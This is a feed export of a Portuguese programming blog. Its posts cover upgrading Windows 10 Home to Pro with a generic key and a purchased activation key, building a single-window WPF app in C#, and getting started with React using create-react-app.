tag:blogger.com,1999:blog-19808686509142172222023-11-16T02:39:00.733-08:00Modo de SegurançaAlunosNethttp://www.blogger.com/profile/15597938441125220815noreply@blogger.comBlogger74125tag:blogger.com,1999:blog-1980868650914217222.post-26567310924367288192021-02-01T03:48:00.000-08:002021-02-01T03:48:28.310-08:00Upgrade do Windows Home para Pro sem formatar<p> Há algum tempo que tentava fazer o upgrade do meu Windows 10 da versão Home para a versão Pro, mas chegava sempre a um ponto em que me era solicitado para formatar o sistema e não estava para isso.</p><p>Finalmente conseguinte seguindo estes passos:</p><p>- seguinte estes <a href="https://answers.microsoft.com/en-us/windows/forum/windows_10-windows_install/upgrade-from-windows-10-home-to-pro-using-key/707413f9-e26c-40ed-ae27-2741400fe4dd" target="_blank">passos</a> utilizei uma das chaves genéricas para o Windows 10 Pro e fui a Settings > Update & Security > Activation > Change the product key;</p><p>- após inserir uma das chaves o Windows instala as funcionalidades Pro e pede para reiniciar;</p><p>- agora tem o Windows Pro mas não está ativado, assim fui ao site <a href="https://www.urcdkeys.com" target="_blank">urcdkeys</a> onde comprei uma chave para o Windows Pro por menos de €20;</p><p>- com essa chave voltei a funcionalidade Change the product key e ativei o Windows;</p><p>- e pronto, Windows Pro ativado sem formatar ou reinstalar.</p><p><br /></p><p><b>Importante</b>: eu não tenho nada a ver com o site urcdkeys por isso a vossa experiência pode correr de forma diferente da minha.</p>Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-59327857940696545802020-12-28T10:53:00.004-08:002020-12-28T10:55:55.825-08:00Wpf/Xaml single page appNeste post vamos ver como criar uma aplicação com uma única janela. <div>A aplicação terá várias páginas e é baseada na tecnologia WPF/XAML utilizando a linguagem de programação C#.<div>Começamos por criar o projeto no Visual Studio escolhendo este tipo de aplicação: </div></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioRMUTI10MZSoV6wCzEahVIWzWvh5Mq_acdf6SnQDlDcNFSRUjEqHpbZlu3t_pMK3S4c_PgCowtWxM76UB2AAEEjo1gb3A6WdQ_J8Efv7BUOxYfkLUy36kaw2DUtFZXmvSDaT8Y1LRj1Y/s518/img1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="86" data-original-width="518" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioRMUTI10MZSoV6wCzEahVIWzWvh5Mq_acdf6SnQDlDcNFSRUjEqHpbZlu3t_pMK3S4c_PgCowtWxM76UB2AAEEjo1gb3A6WdQ_J8Efv7BUOxYfkLUy36kaw2DUtFZXmvSDaT8Y1LRj1Y/s320/img1.png" width="320" /></a></div><br /><div><br /></div><div><br /></div><div>De seguida abrimos a Main Window e definimos a estrutura da interface. </div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8BJUVtLAGbkqBPkacMjep46AFn16r-C44fNs8LbikRKQy9EbjJ-pxiihxO9r8PZwT225BgzYeNpJZxZNCjlRol3TX7JJ2MdSszigsVly_DDTwnGWqEIlG518kG57_hL4gg5WYzyjC5EA/s638/img2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="173" data-original-width="638" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8BJUVtLAGbkqBPkacMjep46AFn16r-C44fNs8LbikRKQy9EbjJ-pxiihxO9r8PZwT225BgzYeNpJZxZNCjlRol3TX7JJ2MdSszigsVly_DDTwnGWqEIlG518kG57_hL4gg5WYzyjC5EA/s320/img2.png" width="320" /></a></div><br /><div><br /></div><div><br /></div><div>Do lado esquerdo colocamos um menu e do lado direito fica o elemento DockPanel com uma Frame</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD2SHK6V5pRBLPBAHmNu6GQafb9-2f9gr-fDpgbSM3m8WQwW23o1DRLkHT_YboennT8BdKfAPzaxSfjF9c-aifbfC3I_MlqRJiPLK6dmILIlWRB0_61GPIlMi4yW-fTJEoQkp9XcEICkM//" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="342" data-original-width="410" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD2SHK6V5pRBLPBAHmNu6GQafb9-2f9gr-fDpgbSM3m8WQwW23o1DRLkHT_YboennT8BdKfAPzaxSfjF9c-aifbfC3I_MlqRJiPLK6dmILIlWRB0_61GPIlMi4yW-fTJEoQkp9XcEICkM//" width="288" /></a></div><br /><br /></div></div><div>A Frame é o elemento que será utilizado para mostrar o conteúdo das páginas. </div><div><br /></div><div>Agora podemos criar as páginas. Neste exemplo criamos duas. </div><div>Clicando com o botão direito no Solution Explorer, escolhemos Add e depois Page.</div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbCvZKKjgBXnlUZEHipdF1DIOPvUKIpNI6oEK9nWF_HhyphenhyphenIuqolyCKjF4P5VmVOKWcb_3Mc1KCFj-pfoZuJwitTVgvwQ12lBIorS_-sDulcND8VzxWgmu6BhkfAYNQwIR1MM1rHNClwGVU//" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="451" data-original-width="650" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbCvZKKjgBXnlUZEHipdF1DIOPvUKIpNI6oEK9nWF_HhyphenhyphenIuqolyCKjF4P5VmVOKWcb_3Mc1KCFj-pfoZuJwitTVgvwQ12lBIorS_-sDulcND8VzxWgmu6BhkfAYNQwIR1MM1rHNClwGVU//" width="320" /></a></div><br />Repetimos o processo e o projeto agora tem a MainWindow, a Page1 e a Page2.</div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDW5tlntHhP3g7VMliWkApXc6yLKDFRrcn5cx-FDJTwR54WxJXy-f3Sy8AYUCdxuvxjA8OAdODek5DarAvBn-coBcOp_vi6a0yjSOA43efi08BmL2KXEN1VKSgP83tDIa69NJCAp4NOVA//" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="170" data-original-width="225" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDW5tlntHhP3g7VMliWkApXc6yLKDFRrcn5cx-FDJTwR54WxJXy-f3Sy8AYUCdxuvxjA8OAdODek5DarAvBn-coBcOp_vi6a0yjSOA43efi08BmL2KXEN1VKSgP83tDIa69NJCAp4NOVA/w220-h166/image.png" width="220" /></a></div><br />Nas páginas criadas colocamos o conteúdo a apresentar. Como isto é só um exemplo vou alterar a cor de fundo e colocar um pequeno texto.</div><div>A Page1</div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnjTdQy4xFy3c1J0qfKXaDqUfiKFXqznrbVBuPoJGX_Rod0IsPJkh9CNkcF6NYeyi3Bb_jVD06tyEX27phPRCsN0ndLGRtw0MzNnNf6SwOvoQD9BwjD7frjAwlFq7-Hon9Hxvgvc2DAQ//" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="66" data-original-width="274" height="44" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnjTdQy4xFy3c1J0qfKXaDqUfiKFXqznrbVBuPoJGX_Rod0IsPJkh9CNkcF6NYeyi3Bb_jVD06tyEX27phPRCsN0ndLGRtw0MzNnNf6SwOvoQD9BwjD7frjAwlFq7-Hon9Hxvgvc2DAQ/w185-h44/image.png" width="185" /></a></div><br />A Page2</div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixd8_XTdW01SctazP1CzgYYPzfLFPzkZ7i4cZ_DCo_0AY-hjT4UiqNsaef7eiGJi-w5a8wq3raTvQXAp6fbErRHapQ-cIsWNro7OcsIvK9ogVIhyphenhyphen2hq-VYog1iFYRCqijU9msYKeQsI_M//" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="65" data-original-width="272" height="43" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixd8_XTdW01SctazP1CzgYYPzfLFPzkZ7i4cZ_DCo_0AY-hjT4UiqNsaef7eiGJi-w5a8wq3raTvQXAp6fbErRHapQ-cIsWNro7OcsIvK9ogVIhyphenhyphen2hq-VYog1iFYRCqijU9msYKeQsI_M/w179-h43/image.png" width="179" /></a></div><br />Por fim vamos fazer o código. De volta à MainWindow temos de criar os eventos nos items do menu. Assim, na linha do MenuItem acrescentamos o evento click e escolhemos New Event Handler:</div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4uQR3mPue4YF2z0p4NyeekjGDvr1F_VhgVnggKw11K5_KCeaJmRH7C-aibHJxh_aNYL9s_r-3FqJFoy-EcQQDFMiqEzMCkEx-05I7HOvxtHkaqY9rLLR7u8Rpbb7-VGtMShVW3nmQm64//" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="62" data-original-width="1090" height="35" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4uQR3mPue4YF2z0p4NyeekjGDvr1F_VhgVnggKw11K5_KCeaJmRH7C-aibHJxh_aNYL9s_r-3FqJFoy-EcQQDFMiqEzMCkEx-05I7HOvxtHkaqY9rLLR7u8Rpbb7-VGtMShVW3nmQm64/w622-h35/image.png" width="622" /></a></div><br /><br /></div><div>Se a opção não aparecer tente com CTRL+ESPAÇO.</div><div>O Visual Studio gerou a função, agora basta premir F7.</div><div>Dentro de cada evento/função basta acrescentar esta linha de código</div><div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1Dzy1Byzj9vxSWJy6lBl3nUj7hrebdqCr-tB2RHc3oWSnGYQFPA_FPMvONFiuY9C1Z__gR272G7kg6k14SlCxsb7fqZVr47GMwoiNSbltC2Orj6mibgWNoCUvw_mQOAaApXD6DuR-Gxk//" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="32" data-original-width="342" height="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1Dzy1Byzj9vxSWJy6lBl3nUj7hrebdqCr-tB2RHc3oWSnGYQFPA_FPMvONFiuY9C1Z__gR272G7kg6k14SlCxsb7fqZVr47GMwoiNSbltC2Orj6mibgWNoCUvw_mQOAaApXD6DuR-Gxk//" width="320" /></a></div>Com este código estamos a atribuir como conteúdo da Frame a respetiva página.</div><div>E pronto, agora é só testar.</div><div><br />O projeto está <a href="https://github.com/alunosnet/SinglePageWPF" target="_blank">aqui</a>.</div>Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-64722302979213409412020-08-12T18:29:00.000-07:002020-08-12T18:29:34.453-07:00React - Introdução<div class="separator"><p style="margin-left: 1em; margin-right: 1em;"><br /></p></div><p> Neste post vamos fazer uma breve introdução ao React.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSMvazXf8VM9O9YiT4S26diAdQIAk1XyIRwnetnTWmTfrIrTwi9CQbDhnoxhrPXjNLz1sWh-TebP642HGFnWFSqZFexd9vNHo61BAU3BkOlhBB2PwGFsoQxd6SMeo1s0W1oxXWot9OuwlH/s675/react.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="375" data-original-width="675" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSMvazXf8VM9O9YiT4S26diAdQIAk1XyIRwnetnTWmTfrIrTwi9CQbDhnoxhrPXjNLz1sWh-TebP642HGFnWFSqZFexd9vNHo61BAU3BkOlhBB2PwGFsoQxd6SMeo1s0W1oxXWot9OuwlH/w210-h117/react.png" width="210" /></a></div><p></p><p>React é uma framework javascript e por isso é importante ter conhecimentos desta linguagem de programação para melhor compreender o seu funcionamento.</p><p><b>O que é necessário?</b></p><p>Para construir páginas com React é necessário ter instalado a framework <a href="https://nodejs.org" target="_blank">Node </a>e o seu instalador de packages o npm.</p><p>Com o Node instalado basta abrir uma janela da linha de comandos, eu aconselho utilizar o novo <a href="https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk701?activetab=pivot:overviewtab" target="_blank">Windows Terminal</a> ou o <a href="https://cmder.net/" target="_blank">Cmder</a>.</p><p>Na sua linha de comando escolhida execute o comando:</p><p>npx create-react-app Tutorial01</p><p>Este comando vai criar uma pasta com o nome Tutorial01 e instalar dos os ficheiros necessários para construir a sua primeira aplicação React dentro dessa pasta.</p><p>De seguida entramos na pasta criada com o comando:</p><p>cd Tutorial01</p><p>E iniciamos a aplicação com o comando:</p><p>npm start</p><p>Deve conseguir ver uma página com o seguinte aspeto:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_MWWRteo91xohIQ2DgeME2Qp67ISxos6yrg7GFSS9yFfbnsq6NH0KZP6WZwJAOGVxJt2OK59A1HECxeqNqUE9mBQndOIj9pSE0i2WNv_cuLOhGpJPG2E3yepG_50GtLuY-nmc0IFUA254/s795/img1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="561" data-original-width="795" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_MWWRteo91xohIQ2DgeME2Qp67ISxos6yrg7GFSS9yFfbnsq6NH0KZP6WZwJAOGVxJt2OK59A1HECxeqNqUE9mBQndOIj9pSE0i2WNv_cuLOhGpJPG2E3yepG_50GtLuY-nmc0IFUA254/s640/img1.png" width="640" /></a></div><p>A partir daqui, até fechar a linha de comando, todas as alterações feitas aos ficheiros da sua aplicação são automaticamente carregadas no browser sem necessidade de fazer o refresh manualmente.</p><p>Para editar o código será necessário abrir um editor de texto, eu vou utilizar o Visual Studio Code.</p><p>Assim basta digitar o comando:</p><p>Code .</p><p>Dentro da pasta da aplicação para abrir o VS Code.</p><p>A pasta da app React tem a seguinte estrutura:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-SmXxAwifihS5WFXu0U4FLmGA2BZp3ABIb-BtBlGXmXOksJ5q-Da2zo_OjRro8Czi8X2YHo4Gzem1O_GOnPOzxe5SH1MK3IWyWRNJfxJu-1lF759aEnLhVr62FLQqMJjl5Z8UAQQY1Uro/s208/img2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="208" data-original-width="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-SmXxAwifihS5WFXu0U4FLmGA2BZp3ABIb-BtBlGXmXOksJ5q-Da2zo_OjRro8Czi8X2YHo4Gzem1O_GOnPOzxe5SH1MK3IWyWRNJfxJu-1lF759aEnLhVr62FLQqMJjl5Z8UAQQY1Uro/s0/img2.png" /></a></div><p>A pasta public tem os ficheiros html e imagens publicas do projeto, a pasta src tem o css e js.</p><p>Com o React podemos criar os nossos próprios componentes e inseri-los no html com a inclusão de tags com o nome do componente.</p><p>O objetivo de utilizar o React passa por criar componentes para compor a página web e reutiliza-los sempre que possível promovendo a reutilização do código.</p><p>Como é referido na página criada por default para a nossa aplicação devemos começar por editar o ficheiro app.js que está dentro da pasta src:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsWgELBXkb2ON8mZZGa9uoXieXTVVO81XW2c6abrVlv29WdcVD0QliYOqLaIWNpJpw-f-wL3GcsvdnK92yh8JGTxoeX-A60bYcc36-o6DTN_L9p0KcDpMKaXKzuwodD227cV2g6uxznoo1/s507/app.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="507" data-original-width="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsWgELBXkb2ON8mZZGa9uoXieXTVVO81XW2c6abrVlv29WdcVD0QliYOqLaIWNpJpw-f-wL3GcsvdnK92yh8JGTxoeX-A60bYcc36-o6DTN_L9p0KcDpMKaXKzuwodD227cV2g6uxznoo1/s0/app.png" /></a></div><p>Como podemos verificar pelo código acima apresentado trata-se de um ficheiro que contém um função com o mesmo nome do ficheiro e que é exportada como um módulo na última linha de código.</p><p>O código dentro da função utiliza a função return para devolver um conjunto de tags que nem são html nem é uma string, não tem ' ' ou " ".</p><p>Este código chama-se JSX e é uma extensão do javascript. É assim que a interface da página, e os seus componentes, são descritos em React.</p><p>Vamos alterar esta função para ficar assim:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBsNq9OnBtSB_jG0TrL9JQnsYN1IVxFuTC98qbu3sJxE7TUwtxiV6Oy6cVCWUuM9IXDZGPfhWCqd4ldBzVziOWP3HSV4h8Bbnq1wJfKCHvFkCQSGUZIJ3NhIbZUOMiE25pWyirC-YGn8_1/s327/img3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="259" data-original-width="327" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBsNq9OnBtSB_jG0TrL9JQnsYN1IVxFuTC98qbu3sJxE7TUwtxiV6Oy6cVCWUuM9IXDZGPfhWCqd4ldBzVziOWP3HSV4h8Bbnq1wJfKCHvFkCQSGUZIJ3NhIbZUOMiE25pWyirC-YGn8_1/s0/img3.png" /></a></div><p>Com esta alteração a nossa página fica assim:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUaQATDRQiFSSXHkWY_tgE1TPjLqv_42cgWzHLBfDCLYQKsDe6IqEMsKqaG1di6FBUngvnzP2sFzaY8XHOn08W-zEkdS5iI3CexuYfcBQIfMfbv-A1DMCscQ2-poWx7WXzfafzZ5LIi7s6/s803/img5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="203" data-original-width="803" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUaQATDRQiFSSXHkWY_tgE1TPjLqv_42cgWzHLBfDCLYQKsDe6IqEMsKqaG1di6FBUngvnzP2sFzaY8XHOn08W-zEkdS5iI3CexuYfcBQIfMfbv-A1DMCscQ2-poWx7WXzfafzZ5LIi7s6/s640/img5.png" width="640" /></a></div><p><b>Como é que a página é composta?</b></p><p>Se analisarmos o ficheiro index.html que está na pasta public podemos verificar que para além de ter uma estrutura simples, comum a qualquer página web, contém somente uma div com o id root.</p><p>Esta div será a tag onde todos os componentes da nossa app serão renderizados.</p><p>O componente App é incluído na página devido ao código que está no ficheiro index.js na pasta src:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUVn0BJKdcuyejhpprxcgDFCiRtNEsFDxxPkVUfymQJ1yQIMPdPXj8yz8zH2qWdYp4tKwcaFqviEGVXjE9tuyOi4QNMe2_GahopVrZwtuIbaEVkuZjNCXL0RkeClXDyVqoKJZgJD52DwFj/s458/img4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="234" data-original-width="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUVn0BJKdcuyejhpprxcgDFCiRtNEsFDxxPkVUfymQJ1yQIMPdPXj8yz8zH2qWdYp4tKwcaFqviEGVXjE9tuyOi4QNMe2_GahopVrZwtuIbaEVkuZjNCXL0RkeClXDyVqoKJZgJD52DwFj/s0/img4.png" /></a></div><p>Como podemos ver este ficheiro executa a função render do React que permite manipular o DOM ao incluir o componente App na div root.</p><p>É a partir daqui que toda a página é construída, como podemos verificar basta a tag <App /> para inserir o componente na página, sendo necessário importar primeiro, como se pode ver pela linha:</p><p>import App from './App'</p><p>Para desenvolver a nossa React App devemos agora criar os nossos componentes, que mais tarde serão incluídos no componente App.</p><p>Os componentes podem ser criados com base numa função ou através da utilização de classes, tirando partido da versão <a href="https://www.w3schools.com/Js/js_es6.asp" target="_blank">ES6 do javascript</a>.</p><p>Cada componente inclui a camada de visualização, interface, e a camada lógica ou o código que controla o comportamento do componente.</p><p><b>Componente Hello World</b></p><p>Anteriormente fizemos uma alteração ao componente App para mostrar a mensagem Hello World. Tipicamente queremos criar vários componentes que podem ser integrados para criar uma página mais complexa.</p><p>Vamos criar um componente para mostrar a mensagem Hello World, para isso começamos por criar um ficheiro novo, na pasta src, com o nome hello.js, primeiro fazemos uma versão com uma função depois fazemos com uma classe.</p><p><b>Versão com uma função</b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguMgjDFrYYiqcD3cfx-M_Y-KR8gscf9cAtmGsrBMMGkxBjFEWSbl7xKjBodgnMyiQOqM2WXU-0qvEgziFwNr0JxSU0bYEiJJfkpv2Hdn43wLGHZk387y5fRGMMVJYiG2vq2AeAnuZY0pPb/s349/hello1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="257" data-original-width="349" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguMgjDFrYYiqcD3cfx-M_Y-KR8gscf9cAtmGsrBMMGkxBjFEWSbl7xKjBodgnMyiQOqM2WXU-0qvEgziFwNr0JxSU0bYEiJJfkpv2Hdn43wLGHZk387y5fRGMMVJYiG2vq2AeAnuZY0pPb/s0/hello1.png" /></a></div><p>Agora alteramos o ficheiro App.js para incluir este componente, assim:</p><p style="text-align: center;"><img alt="" src="data:image/png;base64,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